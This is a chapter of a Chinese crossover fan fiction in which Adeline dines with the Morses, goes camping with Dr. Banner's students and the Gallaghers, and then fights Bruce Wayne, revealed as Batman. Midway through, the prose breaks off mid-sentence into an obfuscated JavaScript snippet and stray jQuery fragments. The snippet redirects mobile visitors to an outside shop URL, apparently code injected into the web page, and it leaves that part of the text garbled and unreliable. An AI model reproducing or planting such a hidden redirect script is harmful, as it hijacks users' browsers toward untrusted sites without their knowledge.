“亲爱的，我不知道你喜欢吃什么？你没有什么忌口的对吧？”乔安娜看着有些局促的艾德琳，“我应该提前问的，你不是素食主义者吧？我听说现在你们年轻小孩很流行这些。”
艾德琳礼貌地摇了摇头，没办法，人不能一秒钟就开始不哑巴。
但她用一种非常容易理解的方式，表达了对莫尔斯太太的感谢——消灭所有她递过来的美食。
乔安娜很开心，尽管这些食物都是买回来的，但是这个家里，终于有人能让她觉得吃饭是一件享受的事了。
碍于专业运动选手的身份，墨菲和玛丽安兄妹俩常年对饮食有着极其苛刻的要求，莫尔斯夫妻为了表达对孩子们的支持，已经太久不知道什么是烟火气了。
每年的结婚纪念日，是他们唯一能放下“自责”，在外放纵饮食的日子。当然，有时候还要算上情人节，和他们自己定义的那些“情人节”。
送艾德琳回去的路上，墨菲尽量把车开得平稳一些，他看着副驾驶上揉着肚子的艾德琳，把车停在路边，“等我几分钟，对了，你有没有什么药物过敏？”
艾德琳看了看路边的药店，摇了摇头。
很快，墨菲回来了，递给她一个小袋子，“消食片，我问了，是甜味的，不苦。”
艾德琳看着后排放着的大包小包的食物，也许今天需要消食片的不仅仅是她。
***
布鲁斯·班纳博士的学生们很喜欢他的侄女，她不仅能够带来假期，还能够带来美味的食物。
班纳博士的实验助理之一，斯蒂芬坐在走廊上吃着烤包子，“听我说，艾德琳，如果我知道做博士的学生可以享受到如此美味的烤包子——天呐，人生还有什么遗憾！”
另一位学生说，“还有发表论文。”
墨菲也陪着坐在走廊上，这是他第一次来大学，他问，“为什么要坐在这里？”
斯蒂芬解释，“工作场合有一种魔力，一种破坏一切美妙存在的魔力。在走廊里，这是美食，在里面——饲料！”
艾德琳觉得，她有必要给班纳博士提出一些建议，比如多关心自己学生的心理健康，可以有多一些的放松的场合或者活动。
***
人不能自以为是，比如随便给人提意见。
艾德琳热爱一切让她远离原始大自然的科技进步，比如抽水马桶。
但感谢她的建议，班纳博士想起来学校的确划拨了一笔专项经费。他带着自己的学生们，还有加拉格家的孩子们和朋友们，开启了两天一夜的露营活动。
很显然，那里不可能有抽水马桶。
乔伊很高兴利普能邀请他，很巧的是，班纳博士的学生里竟然也有两位曾经参加过学术十项全能竞赛，他只恨来的时候没把那些习题册统统带上，他看向坐在那里发呆的艾德琳，“艾德琳，这是绝佳的模拟竞赛的机会了。”
艾德琳很想继续装哑巴，但是似乎唯一能轻松拿捏她的人“杀”回来了——
曼迪·米尔科维奇恰好有了几天的假期，她回来的第一天下午就出现在圣詹姆斯学院的停车场。她靠在艾德琳的车前，嚼着口香糖吹着口哨，“让我看看，我最不听话的病人，身体恢复得怎么样了？”
如果可以，艾德琳愿意第一时间把胳膊上的绷带也扔了。
曼迪已经不是一开始那个在艾德琳面前畏首畏脚的小女孩了，她知道真正的朋友，对彼此之间的付出是相互的。艾德琳为她好，她也会为了艾德琳好，比如让艾德琳老老实实别折腾自己的身体。
对曼迪而言，重点是达到目的，所以，方式不重要。要知道，她可是完美继承了米尔科维奇一家极其彪悍的行事作风。
艾德琳被勒令坐在一张椅子上休息，她看着伊恩指挥着利普和卡尔搭帐篷，又看着跟着班纳博士捡柴火的贾斯汀和乔伊，再看向另一边愤怒劈柴的米奇。转过身来，很好，曼迪正带着黛比整理食物。
她决定做一个安静的“保护动物”，她翻着乔伊带来的题库，“老天爷保佑，别再有连环杀手和精神病人出现了。”
夜色完全包裹住天空的时候，伊恩点燃了篝火，“利普，别藏着了！”
利普也没准备藏着，他拉开一块防水布，然后——
加拉格一家永远知道，什么是最好的派对！
斯蒂芬是跳得最开心的，“我就知道，跟着班纳博士，是我做过的正确的选择！”
离营地有些距离的丛林中，藏着一辆越野车，阿福看着热成像仪里的画面，“我想，他们似乎、可能、应该是在跳舞？”
可能哥谭实在是一个极其糟糕的地方，韦恩少爷已经养成了用“阴谋论”看待一切的习惯。在他的设想中，光是班纳博士带着实验室的核心成员，加上艾德琳·陈，光是这些人同时出现在一个偏僻的地方，就意味着一个不为人知的阴谋。
但是，篝火野餐？丛林音乐节？跳舞？
布鲁斯·韦恩嚼着压缩饼干，他觉得自己的确需要调整一下对这位“芝加哥的陈小姐”的行动策略。
***
怕什么来什么，黛比摇醒了艾德琳，“我想去上厕所。”
艾德琳带上手电筒和卫生纸，考虑了一下，又拿上了下午从卡尔那里没收的蝴蝶刀，“黛比，你真的不知道卡尔从哪里找来的这些吗？”
黛比打着手电，虽然露营很酷，但在黑夜里出来找野生厕所还是让她有些害怕，“你知道卡尔在学习上很吃力，这可能和当时莫妮卡生他的时候磕了太多违禁品有关。但是上帝给他关了学习的门，却把他其他的窗户都开了，有的甚至还是落地窗。在我看来，卡尔有成为军火贩的潜力，前提是他能找到一个会算账的好会计。”
这让艾德琳哭笑不得，她们找到一个合适的地方，艾德琳打开手机里的音乐然后递给黛比，“我在这里等你，别害怕。”
她抬头看着星空，听着手机里的音乐——
“Starry,starry night”
“Paint your palette blue and gray”
“Look out on a summer’s day”
在来到这个星球的第一个冬天，她开始有了家人，有了朋友，甚至找到了一个“同类”。
她突然很期待夏天，她想知道在这里的第一个夏天，会有哪些美好的事情。
但在夏天来临前，她还有些小麻烦要去处理。
回到营地，艾德琳对黛比说，“你先去睡觉，我想在外面抽根烟。”
黛比把自己的围巾给她，“还是有点冷的，别感冒了。”
又等了一会儿，确定黛比的帐篷里没有动静后，艾德琳给班纳博士发去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660214|142331||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了信息，“属于我们的夜间行动要开始了。”
班纳博士轻手轻脚地走出帐篷，他递给艾德琳一个包，“你确定吗？我不放心你一个人过去。”
“我很不喜欢每一次难得的娱乐活动都有人捣乱，打得赢我会好好出口气，打不赢我也很擅长逃跑。”艾德琳换好衣服，又把包塞给班纳，“你看好这里就行，还是那句话，守好我们之间最关键的秘密。”
***
阿福毕竟上了年纪，熬夜？不太现实。他裹着毯子睡在车上，“小少爷，我觉得我们留在这里的意义不大，你既然来了芝加哥，为什么不干脆和那位陈小姐见面聊一聊呢？”
韦恩看着这些日子搜集来的那位陈小姐的资料，“如果她想反其道而行之的话，我也不能完全顺着她的方向来。我觉得，她非常矛盾——”
“可以和我说说，我矛盾在哪里吗？”车门突然被打开，韦恩手上资料里的那个女孩，正举着一把枪对着他，“我知道这很不礼貌，也不是什么传统的见面场合。但是，看在有老人家的份上，我会放下手枪退回五米外，有什么问题，我们坐下来好好谈谈。”
可惜，韦恩少爷也是真的，很讨厌被威胁。
***
阿福看着虽然出招狠辣，但彼此都没下死手的两个年轻人，他觉得如果不想让场面更加恶化，他得放弃一些立场，比如劝一劝韦恩少爷，“少爷，你打不过她。”
布鲁斯·韦恩踹向艾德琳的腿更用力了，“那是因为我不愿意和女人打架。”
“你很幸运，我从来不讲究性别歧视那套，不管男人、女人还是沃尔玛塑料袋，我都一样揍。”艾德琳出手是真的不含糊，既然对方抗揍，那她攒了这么久的气可以好好出一出了。
又一次被艾德琳踢翻在地上后，布鲁斯·韦恩很怀念他的制服，“小姑娘，你不知道你惹了什么麻烦，今天，你运气很好。”
“我可从来没什么好运气，是你运气不错。”艾德琳决定给对方一分钟的休息时间。
“你知道我是谁吗？”布鲁斯·韦恩看着越来越精神抖擞的女孩问。
“手下败将？”一分钟快要到了，艾德琳开始考虑自己究竟还需要多久时间才能出完气，突然——
她不得不侧滚来躲避突然出现的暗器，饶是反应足够快，但——
“所以？布鲁斯·韦恩，你也挺喜欢角色扮演的？白天晚上从事两份工作，身体吃得消吗？”艾德琳拿起身边的黑色的蝙蝠飞镖，她擦过上面沾着的不出意外属于她的血，“我们的确该好好聊一聊了，你给自己取的外号叫什么来着的？”
站在一边的阿福把一块干净的纱布递给艾德琳，“抱歉陈小姐，我们一般不这样。”
艾德琳接过纱布捂着脸颊，“如果留疤了，我可以给自己取个外号，叫刀疤。”
“抱歉，我可以向你保证，我会对你的脸负责。”布鲁斯·韦恩也反应过来刚刚情急之下自己到底做了什么，对一个十八岁的女孩下手如此狠辣？
他走过去扶起地上的艾德琳，然后——
布鲁斯·韦恩捂着自己的脸颊，很好，“刀疤”这种代号可太适合她了。
艾德琳自己站起来，“物归原主，蝙蝠侠。现在，能好好谈谈了吗？”
阿福决定不掺和这些年轻人的胡闹，“要来点咖啡吗？我记得车里还有两罐。”